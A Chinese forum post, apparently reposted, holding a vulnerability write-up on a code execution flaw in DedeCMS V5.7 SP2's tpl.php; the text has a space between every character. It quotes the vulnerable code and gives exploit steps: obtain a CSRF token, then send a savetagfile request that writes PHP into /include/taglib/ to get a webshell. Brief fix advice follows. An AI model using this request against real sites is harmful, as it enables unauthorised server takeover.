搜索

[26599] 2018-03-02_dedecms_v5.7_sp2存在代码执行漏洞

文档创建者：s7ckTeam
浏览次数：242
最后更新：2025-01-19
2018-03-02_dedecms_v5.7_sp2存在代码执行漏洞 d e d e c m s _ v 5 . 7 _ s p 2 存 在 代 码 执 行 漏 洞 风 炫   m o o n s e c   2 0 1 8 - 0 3 - 0 2 简 介 简 介         织 梦 内 容 管 理 系 统 ( D e d e C m s ) 是 一 款 P H P 开 源 网 站 管 理 系 统 。   D e d e C M S   V 5 . 7   S P 2 版 本 中 t p l . p h p 存 在 代 码 执 行 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 在 增 加 新 的 标 签 中 上 传 木 马 ， 获 取 w e b s h e l l 。 笔 者 是 2 0 1 8   年 2 月 2 8 号 在 官 网 下 载 的 D e d e C M S   V 5 . 7   S P 2 版 本 程 序 ， 截 至 发 稿 ， 漏 洞 依 然 存 在 。 漏 洞 详 情 漏 洞 详 情 d e d e / t p l . p h p 中 第 2 5 1 到 到 2 8 1 行 c s r f _ c h e c k ( ) ; i f ( ! p r e g _ m a t c h ( " # ^ [ a - z 0 - 9 _ - ] { 1 , } . l i b . p h p $ # i " ,   $ f i l e n a m e ) ) {   S h o w M s g ( ' 文 件 名 不 合 法 ， 不 允 许 进 行 操 作 ！ ' ,   ' - 1 ' ) ;   e x i t ( ) ; } r e q u i r e _ o n c e ( D E D E I N C . ' / o x w i n d o w . c l a s s . p h p ' ) ; $ t a g n a m e   =   p r e g _ r e p l a c e ( " # . l i b . p h p $ # i " ,   " " ,   $ f i l e n a m e ) ; $ c o n t e n t   =   s t r i p s l a s h e s ( $ c o n t e n t ) ; $ t r u e f i l e   =   D E D E I N C . ' / t a g l i b / ' . $ f i l e n a m e ; $ f p   =   f o p e n ( $ t r u e f i l e ,   ' w ' ) ; f w r i t e ( $ f p ,   $ c o n t e n t ) ; f c l o s e ( $ f p ) ; 1 . 由 于 d e d e c m s 全 局 变 量 注 册 的 特 性 , 所 以 这 的 c o n t e n t 变 量 和 f i l e n a m e 变 量 可 控 。 2 . 可 以 看 到 将 c o n t e n t 直 接 写 入 到 文 件 中 导 致 可 以 g e t s h e l l 。 但 是 这 里 的 文 件 名 经 过 正 则 表 达 式 ， 所 以 必 须 要 . l i b . p h p 结 尾 。 注 意 :   这 里 还 有 一 个 c s r f _ c h e c k ( ) 函 数 ， 即 请 求 中 必 须 要 带 t o k e n 参 数 漏 洞 利 用 漏 洞 利 用 1 .   首 先 获 取 t o k e n   访 问   / d e d e / t p l . p h p ? a c t i o n = u p l o a d   。 在 页 面 源 代 码 中 获 取 到 t o k e n 值 2 .   然 后 访 问 / d e d e / t p l . p h p ? f i l e n a m e = m o o n s e c . l i b . p h p & a c t i o n = s a v e t a g f i l e & c o n t e n t = % 3 C ? p h p % 2 0 p h p i n f o ( ) ; ? % 3 E & t o k e n = [ 你 的 t o k e n 值 ]
3 .   s h e l l : / i n c l u d e / t a g l i b / m o o n s e c . l i b . p h p 漏 洞 修 复 漏 洞 修 复 1 . 禁 止 此 处 写 文 件 2 . 过 滤 恶 意 标 签 参 考 连 接 参 考 连 接 h t t p : / / w w w . c n v d . o r g . c n / f l a w / s h o w / C N V D - 2 0 1 8 - 0 1 2 2 1 另 外 祝 大 家 元 宵 节 快 乐
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理